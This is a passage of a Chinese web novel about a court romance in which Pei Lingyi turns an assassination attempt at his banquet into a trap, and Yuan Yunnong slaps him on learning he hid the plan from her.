吻元韫浓如同舔舐月光,寒冷的灼烧,比火焰更剧烈。 爱也爱不清楚,恨也恨不明白。 在算计和阴谋里撕扯到彼此都遍体鳞伤,还含着血恨恨地在一起。 那就这样吧,他不再奢求原谅。 裴令仪找到了这样的办法,但也不是回回都有效的。 虽然有元家和岐国公他们几个作为保障,但是也难保元韫浓不会起什么别的心思。 他担心元韫浓会出事。 于是身边若有若无的视线更多了起来,清河王府的巡逻也更严了。 元韫浓冷笑着看明火执仗的侍卫个个铁甲披身,刀枪剑戟齐全。 来往路过的侍者挪步无声,有序交接班。 天子沉迷炼丹,京中军政芜杂,社交频繁。 “他们查得那么严,是怕我逃了?”元韫浓问。 霜降小声道:“可能是怕刺杀。” “谁刺杀谁?我刺杀裴令仪吗?”元韫浓嗤笑,转身进了屋内。 眼不见心不烦的。 “叩叩叩”门被相当礼貌地敲响了三声。 但谁来也不好使,元韫浓现在谁都不高兴见,照样摔了茶盏出去,“我不是说了吗?别来烦我,滚!” 茶盏碎在脚边,孙鹃纨“哎呀”一声。 “是谁惹我们郡主不高兴了?我这就把他下了大狱严刑拷打。”孙鹃纨笑嘻嘻地迈进了门槛。 看见是孙鹃纨,元韫浓的脸色稍微缓和了一些,但也没什么好脸色,“怎么?替你家殿下来做说客?” “哎哟喂,郡主可真是冤枉了我去。”孙鹃纨插科打诨道,“我不是郡主这一头的吗?” 在军营里她们可是说好了的,她会做元韫浓的宠臣。 裴令仪与元韫浓不和时,她站在元韫浓这一头。 元韫浓冷笑:“你既然与我是一头的,那这会来做什么?” 孙鹃纨道:“自然是为了郡主与我等的大业着想啊。” 元韫浓没说话,只是盯着孙鹃纨看。 孙鹃纨被盯得有些背脊发寒,只觉得元韫浓和裴令仪某种意义上还真是绝配。 女鬼配男鬼。 “我可是真心的,天地可鉴呐郡主。”孙鹃纨道,“郡主宽宽心,和和气,气坏了身子可得不偿失呐。” 孙鹃纨半蹲到元韫浓身边,轻轻拍抚着元韫浓的肩膀给她顺气,“我虽是殿下的副将,可郡主于我是恩德铭肺腑,我自然站在郡主这一头。” 她说道:“千差万错都是殿下的错,可我这个副将总没错,郡主可别迁怒我。” 元韫浓被她这几下卖乖耍宝整得心气稍微顺畅了些。 “我的好郡主呐,殿下如今是茶饭不思、无心大业,成日里就窝在书房里头不知道干什么,谁都不让进。”孙鹃纨提起裴令仪。 元韫浓顿时冷下了脸,“这同我又是什么关系?难道还要我去哄着他去复业?” “那怎么敢?”孙鹃纨连忙道,“郡主生气自然是有郡主自己的道理,定是殿下亏待了郡主。” 元韫浓冷哼一声。 孙鹃纨说起了好话:“所以啊殿下这才是来赔罪呀,这几日是跪到西边跪到东,跪得膝盖乌青红火一片,我看他是要皇帝不做,去把和尚做了。” 她小心翼翼地观察着元韫浓的表情,见元韫浓不为所动,连忙话锋一转道:“瞧瞧,这就叫现世报,叫他这样犯了错呢?” “这么说来,你是过来跟我骂他的了?”元韫浓看着她似笑非笑。 孙鹃纨讨好地笑了笑,“郡主啊,可我们这些做僚属的总没错,这些天来是不明不白受折磨啊。” “你要我看着你们面子上,饶他一回?”元韫浓嗤笑。 “不不不。”孙鹃纨忙道,“我们这是不清楚状况嘛,这不是来问问郡主发生了什么事情,殿下到底犯了什么错,这才好对症下药。” 她顿了顿,又举手保证:“但要是殿下犯了什么原则的错,我必然站在郡主这一边。” 元韫浓斜睨她一眼,说出她心中所想:“但若是小错,你就盼着我高抬贵手?” 孙鹃纨连连点头。 元韫浓笑了一声。 孙鹃纨见有希望,双眼一亮。 岂料元韫浓的下一句就是:“你是打算自己滚出去,还是我让小满把你赶出去?” 孙鹃纨落败而归,灰头土脸地离开了主屋。 出门刚走两步就瞧见了正拎着食盒朝这边走来的慕水妃,不禁双眸一亮,“淑慎公主,你也被裴令仪搬来当救兵啊?” “我是听闻了令仪与韫浓起了矛盾,韫浓竟是连药都不喝了,这可怎么才好?便求了三皇兄带我出宫看看。”慕水妃满脸担忧。 孙鹃纨啧了一声。 裴令仪这也是真的慌不择路了,居然连慕湖舟那头都搬了。 “那太子呢?来都来了,也不进来看看?”孙鹃纨问。 慕水妃叹气:“三皇兄说怕引来不必要麻烦,叫韫浓徒惹了闲言碎语,也影响了和令仪的关系,还是不进来了,就托我来瞧瞧。” “哦——这样啊——”孙鹃纨拖长了调子。 她在心底呵呵两声,慕湖舟嘴上说着避嫌,实际上心里想死元韫浓了吧? 她点头,“太子还真是端方君子啊。” 这样替元韫浓着想,人是不错,就是人太正常了,很难比得过裴令仪那个疯子。 虽然裴令仪如今也不知道什么事惹怒了元韫浓,四处求告无门,自身难保呢。 孙鹃纨对慕水妃笑:“那便劳烦淑慎公主去劝劝郡主了。” “自然。”慕水妃颔首。 与慕水妃擦肩而过,孙鹃纨走出几步,又回头看了一眼慕水妃一眼。 慕湖舟和慕水妃这两个,还真是歹竹出好笋了。 可惜了,姓慕。 孙鹃纨一面摇头,一面往前走去。 但愿慕水妃这个表姐的身份,能劝导元韫浓几分吧。 毕竟再这样下去,也就只有两败俱伤了。 慕水妃敲门后推门而入时,就见元韫浓面色苍白地斜靠着贵妃榻,不冷不热地抬眼看过来。 她冷眼道:“水妃姐姐也是来替清河王殿下来做说客的?” 元韫浓都那么说了,可见是真的生气了。 尽管不清楚发生了什么,慕水妃还是将食盒搁在了桌上,“我不清楚发生了什么,若是说过来和他全无关系,倒是显得在骗人了。” 元韫浓轻哼一声。 “我是手心手背都是肉,但我们韫浓是我的心肝肉。”慕水妃笑着轻轻捏了一下元韫浓的脸颊。 她是真心将裴令仪和元韫浓当成自己的弟弟妹妹,就如同前世一样。 慕水妃本就是心善之人。 元韫浓盯着慕水妃看,她自然知道裴令仪前世偏执地想要留下她,不只是因为慕水妃,也是因为连带感。 裴令仪不想一个人,所以才拖拽着她一起困囿于无爱的权力深笼。 这个裴令仪被人推搡着一路走上的地方。 而她怨恨裴令仪一手将她推上这个位置,自己却早早地解脱了,丢下她一个人。 那慕水妃呢? 对于裴令仪而言,只是一个引子吗?只是一个需要报恩的姐姐吗? 若不是如此,为何裴令仪有了前世的所有记忆之后,在今生还是不愿意放手呢? 若不是如此,为何裴令仪对慕水妃没有任何变化,仍然疏离呢? 第83章 和好? 见元韫浓一直盯着自己看,慕水妃多少有些不好意思了。 “为何这般看着我?”慕水妃问,“可是知道我今日里来给你带了透花糍吗?” 她说到这,也想起来了。 忙转过身,慕水妃从食盒里取出自己做好的透花糍,推到元韫浓面前,“快尝尝吧。” 元韫浓尝了一块,对着慕水妃期待的眼神点头,“味道很好。” 慕水妃玩笑道:“吃了我的透花糍,可得要好好吃药了。” 元韫浓看着她,突然问道:“如果两个太相似的人在一起,会怎么样呢?” 慕水妃没想到元韫浓突然问起这个,难免愣了愣。 “相近的人会互相吸引,截然相反的人也会互相吸引吧?”她道。 “水妃姐姐如果跟沈大哥在一起的话,会幸福的吧?你们两个很像。”元韫浓说。 “怎么提起他了?他可是个大忙人,案子抽不开身,令仪也不知怎么的,不让他进门,所以他也托我来看你呢。”慕水妃笑了笑,“令仪也是,能叫三皇兄进门,不让子谦来探病。” 这么说,在裴令仪眼里,沈川比慕湖舟更具有威胁了?元韫浓垂下眼睑。 慕水妃说:“若是和子谦一块,只怕是定下名分之后日久生情了。相似的人在一块,恐怕多是如此吧。” “那是因为,你们本就是很好的人啊。”元韫浓低声道。 而她和裴令仪的相似,是如出一辙的晦暗与冷漠。 要不然,也不会在前世一样巧取豪夺,一样在权欲的巅峰操纵权术。 一样像是阴暗的影子,被沈川和慕水妃的光所映照得无处遁形。 但慕水妃没听清,“嗯?” “两个人一块,倘若只会令彼此受苦呢?”元韫浓问。 “那就分开。”慕水妃相当坦荡,“两个苦兮兮的人在一块,很难有点甜味吧?既然如此,为什么不放手呢?” 元韫浓低眸,“其中一个人不愿意放手呢?” “如果是这样的感情,其中一个人放弃,另外一个人要如何坚持下去呢?”慕水妃疑惑道。 都这么说了,这必然不会是所有人都双手赞成的感情。 “这样啊……”元韫浓阖上了眼眸,“一个人放弃,另一个人就无法继续下去了吗?” 慕水妃点头,“强扭的瓜不甜,感情勉强不来的。除非本就是,双方都想继续。” 她说罢,又忧虑道:“韫浓,你和令仪……” “水妃姐姐无需挂怀,只是闹些矛盾罢了。”元韫浓说,“很快就好了。” 像是在跟自己说一样,她又重复了一遍:“很快就好了。” “对了。”慕水妃想起来了什么,“我听母妃说,皇后娘娘近日在逼迫三皇兄迎娶白翩飞小姐做太子妃呢。” 这是必然的,皇后本就想让慕湖舟娶白翩飞,之前也只是因为惠帝的旨意不能而已。 如今裴令仪和元韫浓的婚约已经定下,皇后为了让慕湖舟趁早死心,自然迫不及待。 “但是三皇兄几次三番推拒,令白家那里非常不满。”慕水妃叹气。 她也觉得慕湖舟可怜。 所爱之人再无可能,又被亲人所逼迫着继续朝着那个位置前进,还要娶自己不爱之人。 万众瞩目的一生,命不由己的一生。 元韫浓说:“再这样下去,白家怕是要另投明主了。” 毕竟连如今最需要的他们的时候,都圆不了一桩婚事,那么等到用完了他们这样的武将,登上皇位了以后,真的能给他们想要的东西吗? 其实这样下去,对于裴令仪来说,是一件好事。 但是元韫浓如今并没有心力去管这些了。 如果连她都去劝说慕湖舟,那对于慕湖舟来说也未免太过残忍了。 “三皇兄如今正在清河王府外面,是令仪问了他来的。他怕众口铄黄金,既然已经生别离,也不想你多烦扰,才不进门,托我来看的。”慕水妃道。 说罢她又有些犹豫,问:“你可有什么话,想要我带给他的?” 有什么想说的,倒是一时间也没什么好说的。元韫浓默了默。 毕竟很多事情到了这里,也就是一句事已至此。 “祝好。”元韫浓只有这两个字。 慕水妃点了点头,“我原也是担心你和令仪,既然没事,我也放心不少。” “因为三皇兄娶亲的事情,还有父皇炼丹的事,近来宫里是不太平,你最近也别进宫了。”慕水妃拍了拍元韫浓的手,“有什么事,我出宫来找你,万事等姑父他们回京再说。” “嗯,我明白。”元韫浓点头。 事实上她最近也出不去,裴令仪生怕她跑了,盯得很紧。 岐国公他们这回离开,除了大部分南营军,也有起码一半是裴令仪的兵。 因为北州是徐家的北营军在守,北凉反复无常,徐氏又是五皇子党,裴令仪和元韫浓都担心元氏会被暗算。 毕竟这请求支援的折子,是徐氏发来的。 裴令仪头一回去北州迎敌,徐氏就在背后出手暗算,险些取裴令仪性命。 谁能信他们这回会不生事? 如今京中有白家和东营军,齐家和张家同样虎视眈眈,裴令仪剩下的兵力怕是无法在群敌环伺里全身而退。 也真是难为裴令仪,这时候还能抽出那么多人盯着她了。元韫浓苦笑。 元韫浓看向慕水妃,“水妃姐姐尽管放心吧,只是拌个嘴耍耍性子,很快就好了。” 这已经是元韫浓第三次这么说了。 越是这样,慕水妃越是不安。 但是看着元韫浓的神色,她也不好再说什么了。 外头蝉鸣声不似早先,这个夏天也快要过去了。 裴令仪其实对慕水妃和孙鹃纨能劝说元韫浓这件事情,并没有抱有太大的希望。 但是总想要试一试,哪怕是能让元韫浓开心一点也是好的。 不过结果远超于裴令仪的期待,至少元韫浓愿意喝药了。 这一点对于裴令仪来说,也已经够了。 裴令仪在清河王府中设宴,宴请了不少人,派人去请元韫浓来。 但心里也没觉得元韫浓会来。 所以等去请人的孙鹃纨面色诡异地回来时,也觉得元韫浓拒绝了。 尽管还是失落,但也没觉得意外。 他身边的位置一直空着,从玉碎那一日之后, “阿姊不来吗?”裴令仪问。 “谁说我不来?”元韫浓从孙鹃纨身后走出来。 鎏金宫灯映得飞檐下的铜铃泛着朦胧光晕,元韫浓身着鸦青襦裙,深沉如夜色将染未染。 她裙裾上金丝暗纹绣着的几株蓼花,随着步履轻晃沁着幽光。 满堂宾客就见裴令仪倏地站了起来,像是有些拘谨般站在原地,有些无措。 “阿姊……”裴令仪似乎是想要去迎元韫浓。 但他又担心元韫浓嫌恶,手伸到一半又缩了回去,只在原处站着,看着元韫浓坐到了旁边的位置上。 他这才坐了回去,目光却一直往元韫浓身上瞥。 “扇子打得太凉了。”元韫浓淡淡道。 裴令仪立刻示意两边打扇的侍者动作轻点。 丝竹声早停了,裴令仪身边的亲卫惊异地看着裴令仪竟揪着蟒袍上的金丝线穗子。 “怎么都停下来了?接着奏乐吧,诸位继续。”元韫浓抬眼看向前面。 满厅官员举着银箸僵成木雕,闻言也是连忙讪笑着动了起来。 丝竹声再起,裴令仪为元韫浓布菜,但元韫浓几乎都没怎么动。 裴令仪眸光稍黯,给鱼剔起鱼刺,然后将剔了刺的鱼肉端到元韫浓面前。 他没说话,站在后面的孙鹃纨倒是看不下去,轻咳一声:“郡主,这鲥鱼是今晨从罗陵送来的,鲜得很,要不尝尝?” “太腥了。”元韫浓搁下玉箸,不冷不热道,“既然孙副将对这道鱼赞美有加,不如孙副将来吃吧?” 孙鹃纨哪敢吃,立刻闭上了嘴。 “阿姊……”裴令仪的喉间发出声短促的气音,像是幼犬被踩了尾巴, 他手顿在瓷盘上,指节因用力泛起青白,垂下眼眸。 他继而笑着仰起脸,“是我味觉有失……来人,都撤了。” 裴令仪的脖颈上仍然缠着裹布,此刻因他仰头的姿势显得脆弱异常。 席间骤然安静。 厅内蒸腾着冰镇酸梅汤的甜香,各色纱幔被熏香浸得,晃出细碎涟漪。 工部给事中突然起身讪笑:“下官忽感不适……” 他愈发觉得这宴上气氛不同寻常,这清河王府和两个看着像是闹了矛盾。 他本以为只是寻常往来,裴令仪如今是红人,便来凑个热闹,交好总比交恶好。 谁料过来是这样的场景呢? 他可不是投效裴令仪的官员,跟岐国公府也并不沾亲带故。 如今满座宾客,最坐立难安的怕就是像他这样,只是赴宴正常往来的中立官员了。 他都奇怪裴令仪为什么要请他们这些人来,而且座上宾客非常之杂,上至友人僚属,下至政敌仇人,中间还有他们这一群不熟的中立官员,真是古怪至极。 “坐下。”裴令仪却平静道。 他的声音并不激昂,但工部给事中还是下意识坐了回去。 裴令仪弯起唇角,笑意看着却并不和煦,“诸位见笑了,宴会尚未结束,一会还有旁的好物想邀请诸位共赏,可别急着走了。” 话都那么说了,见裴令仪和元韫浓这不同寻常的状况而心生立场之意的官员们,只能继续坐着。 而元韫浓除了刚进场时那只言片语后,就再也没有出过声。 她安静地望着盏中沉浮的茶米,偶尔望向窗外的月色,眉眼间尽是疏离与淡然。 唯有在瞥见相熟的旧交投来的目光时,才轻轻点头示意,随即又将视线移向别处。 仿佛暮色里摇曳的野芒,自顾自的动人。 那身鸦青恰似夜色凝成的茧,将喧嚣隔绝在外。 元韫浓像是只为了来坐一会,告诉来赴宴的那些人,外头传的什么裴氏与元氏失和的传言都是假的,只是她自己跟裴令仪闹了个小矛盾而已。 没过多久,她便说要走了。 裴令仪连忙起身,“我送阿姊回去。” “不必。”元韫浓淡声说道。 她转过身,却听到身后裴令仪说:“那让孙副将送阿姊回去吧。” 元韫浓顿了顿,没有回绝,只是继续往前迈步。 孙鹃纨跟上了元韫浓的脚步。 晚风裹着残荷气息掠过鬓角,元韫浓面色如常,并未变化。 孙鹃纨猜测着元韫浓的心思,应该还没原谅裴令仪,但想想元韫浓今晚过来赴宴,给外人展示两边关系如常的举动,许是没有那么气了吧? 只是不好决断,孙鹃纨便小心试探道:“郡主今日心情还算可以?” “你瞧我像是心情不错的样子?”元韫浓平淡道。 看来心情是不怎么样了。孙鹃纨讪笑:“看错了。” 残荷池畔,为数不多的芙蕖在暮色里半开半合。 元韫浓站在九曲桥上,月光将她的影子拉得很长,几许消沉。 “你也不必忧心,不会牵扯到你们这些做僚属的,我和他不会失和到影响大业。”她的声音混着池鱼拨水的声响。 这话听着应该是和好的前兆了才对,但是孙鹃纨怎么听怎么有种不祥的预感。 元韫浓望着水面上纠缠的莲叶,抬眼望向不远处。 因为清河王府中设宴,人来人往甚是复杂。 不远处一行人中,元韫浓敏锐地捕捉到末尾一人的微末神情,此人神色有异,时不时摸腰,在人群里低着头。 元韫浓微微蹙眉,环顾四周,似乎不止一人,十好几人混在人群,姿态警惕。 旁的人或许看不出来,但元韫浓两世下来,见过不少这类人,不是经过特殊训练的死士,就是谋逆暗杀的刺客。 “鹃纨!”元韫浓猛地转过头,正要说什么,这群人就齐齐拉开早就准备好的信号弹。 数簇花火急速冲天绽开,一群人得到信号,趁乱拔刀拔剑,无差别四处砍杀起来。 他们目标明确,行之有素,有的人是冲着周围人去的,有的人是直接杀向了设宴厅。 孙鹃纨见了这一幕,立刻握住了元韫浓的手腕,“郡主,快走!” 第84章 我疼 “什么?”元韫浓不可思议地看着孙鹃纨。 她刚刚在宴上都是看见了的,裴令仪身边随行的亲卫就一两个,裴七裴九还都不在,宴席上的武将更是寥寥无几。 如今还一个大将被裴令仪叫来送她回去。 这些刺客看起来并非善茬,而是有组织的,这里还是她看见的冰山一角,难道宴会厅那里就没有刺客了吗? 这些人还放了信号弹,说明府上远不止这些刺客,外头也必然有人接应。 这时候孙鹃纨居然还想着让她先走? “郡主的安危重要,快随我走!”孙鹃纨忙道。 鲜血飞溅,周围人到处惨嚎乱逃,那群刺客竟也有一群人朝着元韫浓这边冲过来。 “是目标!上!”他们包围元韫浓她们冲了上来。 孙鹃纨“铮”的一声长刃出手,架住了砍过来的刀,然后反手砍断了来人的脖子。 她干净利落地挥刃结果了来人,抵挡下一波刺客。 “快走!”孙鹃纨将元韫浓拦在身后,喝道。 元韫浓便转身就跑。 孙鹃纨见她还是听自己话的,松了口气,但一看元韫浓跑的方向,刚放下的气又提了上来。 元韫浓在往哪个方向跑? 孙鹃纨冲着往宴会厅跑的元韫浓吼道:“郡主!跑反了!” “我去找清都!”元韫浓逆着人群往前冲。 孙鹃纨眼睁睁看着元韫浓往风波中心跑去,但却分身乏术。 这下只能祈求小满能护得住元韫浓了,可负责对付裴令仪那边的,都是最顶尖的那一批刺客啊。 一路上是血流成河,小满一路护送元韫浓跑向宴会厅。 这里的打斗更是激烈,刀剑交击锐鸣,围攻裴令仪的果然是个顶个的厉害。 裴令仪身边的亲卫看起来对付得并不吃力,就连裴令仪自己都提剑杀敌。 看见元韫浓来,围攻的刺客中有几人调转武器朝着元韫浓袭来。 “阿姊!”裴令仪的嘶喊混在刀剑声里。 利刃破风之声骤起,裴令仪反手掷出剑,将刺客钉在廊柱上。 他飞奔向元韫浓,一脚踹飞袭来的刺客,拔出钉在廊柱上的剑,顺手将前仆后继的刺客一剑穿心。 半空中划过数道血淋淋的弧线,裴令仪动作一气呵成。 裴令仪的亲卫和那些武将也不再闲着,一改方才气定神闲的模样,立刻提着刀剑上前架住刺客的袭击,控制住了局势。 然后裴令仪反应过来,立刻转身捂住元韫浓的双眼。 元韫浓却扯下了裴令仪的手,到了这一步她还有什么不明白? 她再看周围的宾客,那些与之为敌的早就趁乱死在了刺客或是裴令仪的人手里,中立者也被狠狠威慑到了。 而所谓清河王府和岐国公府的朋友们全都安然无恙,尤其是裴令仪的僚属们,显然对此早就知情。 这就是裴令仪将计就计做的局,请君入瓮的局。 难怪孙鹃纨半点不着急,反而要护送她走。 裴令仪原来就没想她会赴宴,也没想她会中途折返。 孙鹃纨终于解决完外头那群人赶过来了,一来就见这一幕。 她住了嘴,站到一边不说话。 她隐隐约约感觉有些不详,总觉得元韫浓会发作,但愿她前不久去告诉元韫浓,裴令仪一直把自己关在书房拼那块玉的事情能派上点用场吧。 毕竟那时候元韫浓表情也是稍有动容的。 元韫浓揪住裴令仪浸血的衣襟,“你早知有刺……” “我……”裴令仪正想说些什么。 僚属前来禀报:“殿下,刺客已经全部伏诛和活捉。” “不必审,全部押到堂前杀了。”裴令仪冷声道。 “是。”僚属立刻去办。 “阿姊受惊了。”裴令仪转向元韫浓时又软了声调。 “真是好一招借刀杀人。”元韫浓突然轻笑。 夜风卷着血腥气,那些刺客被压在台阶下,挨个斩首示众。 锐光一闪,便人头落地。 多么熟悉的场面。 跟前世郑家宴上,裴令仪带人蒙面闯入,逼元韫浓看着他将仇敌挨个枭首的场面如此相似。 “是阿姊教得好。”裴令仪的睫毛在脸上投下阴翳,与前世他在郑家血洗仇敌时的神情重叠。 “今夜这场枭首大戏,你谋划了多久?”元韫浓深吸一口气。 裴令仪实话实说:“玉碎前几天。” 那么早就开始策划,却到实施后都没有告诉她。 那么长的时间里,什么都没有透露给她。 哪怕是她揭穿了裴令仪也是重生而来的人,在那之后裴令仪也没有坦白。 又在骗她!又瞒着她! 枉费她跟个傻子似的担心他的死活,不顾安危和劝阻一路跑过来! 所有人都知道,就她不知道! 她到底在期待裴令仪些什么?裴令仪本就是这样的人。 难道重来一生,裴令仪就会变成什么好人了吗? 他们都一样,一样是阴沟里见不得天日的坏东西。 元韫浓忽觉喉间腥甜,前世的画面混着此刻的血气翻涌而至。 她用尽全力一巴掌挥向了那张裴令仪那张无法否认漂亮的脸。 一记响亮的耳光,裴令仪闷哼一声,偏过了脸。 元韫浓的胸膛剧烈起伏着,身体也跟着颤抖了起来。 裴令仪低垂着脑袋,唇角渗出了血丝。 他抬手摸了一下唇畔,看着手指上的血愣了愣。 满厅响起抽气声,宾客和僚属们看着当众被如此打了一巴掌的裴令仪,恨不得剜下眼睛,只当没来过这里看见这一幕。 一会不会被杀人灭口吧? “疼。”裴令仪小声说道。 他没喊过疼,没喊过难和苦,最多也就是偶尔跟元韫浓撒娇时说疼。 分明挨过鞭刑、忍过打骂,也中过箭受过伤,可他现在却像是真的因为这一巴掌很疼一样。 元韫浓手都在发颤。 裴令仪抬眼看向元韫浓,眼眶湿润,抿着唇,像是真的委屈,“真的……” “阿姊,我很疼。”他的眼泪似乎就要落下。 他委屈地想要去拉元韫浓的手,却被元韫浓用力甩开。 裴令仪顺势往后踉跄着退了一步,像条被踹开的野狗。 元韫浓踢翻冰鉴离席,碎冰一地,犹如破裂的镜片闪着冷光。 月光照亮回廊血迹,蜿蜒如理不清的红线。 原来还是破镜难圆。 * 裴令仪不敢在元韫浓面前晃悠,怕给她添堵。 在元韫浓面前,他也确实胆怯。 所以回去之后一连好几日,元韫浓都清净得很。 不过她也正需要这种清净,她需要一个人静静。 其实除了裴令仪更加不出现在眼前以外,一切如常。 每日里周围依然是频繁且森严的巡视,按时按量的汤药,还有近水楼台的鲜鲫芹菜羹。 讲真的,裴令仪人挺聪明的,但是爱却太笨拙,太不知所措了。 他知道你喜欢什么,就会一直送你什么,直到你厌腻为止。 不过裴令仪也不可能一直不出现在元韫浓面前,这日元韫浓在花园里逛了一圈回屋里时,裴令仪就已经等候多时了。 桌上摆着仍然热气腾腾的饭菜,有鲜鲫芹菜羹,也有甜虾粥,都是一些元韫浓平常爱吃的。 “阿姊,我备好了饭菜。”裴令仪有些局促地站了起来,“你还没有用膳,进些吧。” 扫一眼都能看出是裴令仪自己做的了。 一个人备下这一桌饭菜,还等她回来时是热的,想想都知道裴令仪花了多少心思。 元韫浓睫毛煽动了一下,没有再情绪激动,也没有再歇斯底里。 “我就不吃了,郑家有宴席,邀我赴宴,国公府如今能赴宴的只有我了。”她平静道。 毕竟元云和在白云观,惠贞长公主在宫中,其他的都上沙场了。 书信送来,裴令仪也是知道的。 但因为是郑女幼的书信,不想惹元韫浓心烦生厌,他才没有阅看。 因此才不知道是请帖,不只是寻常书信。 “是我疏忽大意了,那我送阿姊去。”裴令仪慌忙迈过来。 “不必了,寻常宴席罢了。”元韫浓说道,“我很快就回来了,若是你不放心,喊人盯着我跟着我都可以。” “阿姊,我不是那个意思。”裴令仪小声说道,“如今不太平,正是风雨欲来的时候,我担心阿姊的安危。” 元韫浓道:“我听孙鹃纨说你最近很忙,日理万机,应该没空管我这些琐事,专心做自己的事便好。” 她当然也听孙鹃纨说,裴令仪还在拼那块玉。 怎么拼都不满意,觉得不够完好如初,觉得差点意思,却不肯假手于他人,愣是要自己拼。 碎了就是碎了,再怎么像从前也都是有裂缝的,怎么可能完好如初? 裴令仪沉默了片刻,轻声问:“阿姊是不是……不想我跟着去郑家?” 元韫浓不说话,只是看着他。 前世她以默许的态度放走了裴令仪,裴令仪骑着舞阳儿夜逃京华,回来后就是在郑家开始了他的谋权之路。 就算抛开这些不谈,她现在又该以什么态度面对裴令仪,又该将裴令仪以什么身份带去郑府? “阿姊放心,我就送阿姊到门口,不会进门的。”裴令仪低眸自嘲般笑了笑,“我不会给阿姊添麻烦,叫阿姊心烦。” 元韫浓默然不语,片刻之后,道:“随你。” 说罢,她径直转身朝外走去。 裴令仪连忙跟上她的脚步,追了上去。 一路上元韫浓都没有说话,闭眼假寐。 暮色漫过鎏金车顶时,裴令仪第三次调整了樱桃煎和食盒的位置。 食盒里摆着还温热的莼菜羹,莼菜羹与鸡丝、火腿同烹,碧翠鲜醇,清洌爽口。 这也是裴令仪做好了的,元韫浓向来偏爱这些味道鲜美爽口的羹汤。 马车碾碎一地桂香,停在了郑府前。 几乎是马车停下的同时,元韫浓便睁开了眼睛。 她掀开车帘,被小满搀扶着下车。 裴令仪忙跟着她下车,“阿姊……” 元韫浓停下脚步,回头看他。 他勉强笑了笑,将一袋秋梨膏糖递了过去,“秋燥易伤肺津,方才阿姊咳了几声。我备了秋梨膏糖,能滋阴润燥,润肺止咳。阿姊一会若是咽痛,便含上一颗吧。” “不必了。”元韫浓伸手提了一半,又将糖袋放回去,转过身离开。 糖袋掉在地上,她心乱如麻,也没发觉。 她发间玉簪映着楼阁灯火,晃得裴令仪眼尾发涩。 裴令仪蹲身去拾糖袋,又下意识抬眼看了一眼元韫浓。 府内丝竹声起,裴令仪望着元韫浓融入灯火的背影,又低下眼眸,解开糖袋的系带。 秋梨膏糖摔了一下也碎了,那块圆月白玉坠子一样。 裴令仪拣起一些碎末的糖渣放进嘴里,苦涩在舌尖缠成解不开的结,他苦笑一声。 他也没有走,吩咐马车停在最暗的巷角,他就坐在软垫上批阅军报。 元韫浓跟郑女幼见面,怕是有很多能聊的。 无论说什么都好,只要能让元韫浓开心些就好。 裴令仪也不在乎要等待多长时间,只要能等到元韫浓就好。 元韫浓确实有很多能跟郑女幼聊的,郑女幼最近被自己亲爹催婚催得紧。 两个人都喝了点酒,尤其是元韫浓,有些醉了。 郑女幼拉着元韫浓回了自己的院子里,把元韫浓按在菱花镜前,非要打扮元韫浓。 她把自己所有的金簪子银钗子都插在了元韫浓头发上,也不管好不好看,沉甸甸的扯得元韫浓头皮疼。 “你做什么?贿赂郡主啊?”元韫浓一根根拆下来。 “当年你说要给我挣个女学士当当。”郑女幼托着腮调笑,“如今清河王的印信都攥在你手里,怎的翰林院门槛反而高了?” 元韫浓拨弄着妆奁,“急什么?不当皇后也有的是法子让你进翰林院。” “我那便宜爹天天催着我嫁人呢,还一直说我这般懒散模样,去了夫婿家里,会叫婆家笑话我们郑家没了规矩,教出这样的女儿来。”郑女幼撇了撇嘴,“感情他教我这女儿出来,就是为了去婆家做牛做马的。” “怕是因为要你弟弟要赶明年的新科,他需要助力了吧。”元韫浓讽刺地弯起唇角。 郑女幼神色阴郁。 第85章 算了吧 “对了,我瞧见有官员在誊抄前朝女官名录。”郑女幼说,珊瑚镯子叮叮作响。 她压低了声音:“我找人打听过了,清河王把翰林院的藏书阁翻了个底朝天,你猜猜翻出来的都是什么书?” “是类似于《女诫》《女论语》之类的书吧?”元韫浓冷笑,“你当我不知他要开女科?” 郑女幼错愕,“啊?你早知道啊?” “他既然烧了三千册诸如此类的书,腾出翰林院西厢,要开这先河,也省了我的力。”元韫浓没回答什么,而是说。 带了些醉意,她秀秾的面孔盛开绮丽的烟霞,眸光却如常的清浅。 她说道:“明日你便去翰林院,伯父这头你不必管,我会去说。” 毕竟在这种老古董眼里,一个扶不上墙的阿斗总好过一个为官的荒唐女儿。 “应怜……”郑女幼怔怔地看着元韫浓。 元韫浓说:“只要你豁得出去,舍得下郑六娘这个身份,有什么不可以做?” “可是,族中和我爹并非对我不好,而是……”郑女幼犹豫了。 “而是更爱男丁,对吗?”元韫浓一针见血,“所以你才无法完全舍弃他们,因为他们是不公,但却不是不爱。” 郑女幼哑然。 元韫浓道:“你不必为了这些而放弃自己,你可以自己想做的事情,也依旧可以去报效家族,提拔族亲。你要做的,只是不被这份不公束缚。” 郑女幼无法做到改变那些人的想法,但是可以迈出自己的步子。 有时候距离会产生美,郑女幼可以选择保持距离。 而她愿意提供给郑女幼这些助力,伸出援手。 郑女幼泪眼汪汪地看着元韫浓,“应怜……” “怎么了?”元韫浓半醺着问。 “呜呜呜,得亏有你!”郑女幼哭唧唧地扑进元韫浓的怀里,“我这不做你的奸臣,都对不起你了。” 元韫浓哭笑不得。 郑女幼哭到一半又抬起脸,“你跟裴清都到底怎么样了?” “就那样吧。”元韫浓的目光放远了。 “那我也得劝劝你了。”郑女幼这个连定亲都没定过的人,一本正经道,“情爱这种东西跟穿肠剧毒似的,一沾上就完蛋了。要是让双方都苦,倒不如放手,让彼此解脱呢。” 跟慕水妃说的话何其相像。 元韫浓看向郑女幼,“你个从未看上过什么夫婿,成日里钻研画本子的死丫头,还说得头头是道的?” 郑女幼煞有介事:“不是我说,当局者迷,旁观者清。” “好,清者,送我出去吧。”元韫浓撑着脑袋,站了起来。 郑女幼酒量比元韫浓好,连忙招呼周围一群人来扶元韫浓。 细碎的动静惊破了梦境,裴令仪猛然睁眼,冷汗浸透的后背撞上马车的内壁。 案头烛泪已经堆成了小山,他哑声问:“阿姊?” 近来多事之秋,前前后后,上上下下都是事情。 清河王府和元氏,四处打点,北州前线,宫中风波,无处不是需要耗精力消神气的。 他已经连轴转了好几天,方才居然在车内看着军报睡着了。 元韫浓携着酒气入内,绣鞋踩过裴令仪的袍角。 裴令仪慌忙去扶,被元韫浓一掌拍开。 他收回的手在背后发抖,面上却笑着递上醒酒汤:“加了甘草的,阿姊快……” 声音戛然而止,元韫浓忽然捧住了他的脖颈。 这是这些天元韫浓头一回主动亲近他。 “你怎么还在这里?”元韫浓问。 裴令仪的睫毛在眼睑下透出阴翳,喉结滚过元韫浓指尖,“我想等阿姊一块回去。” 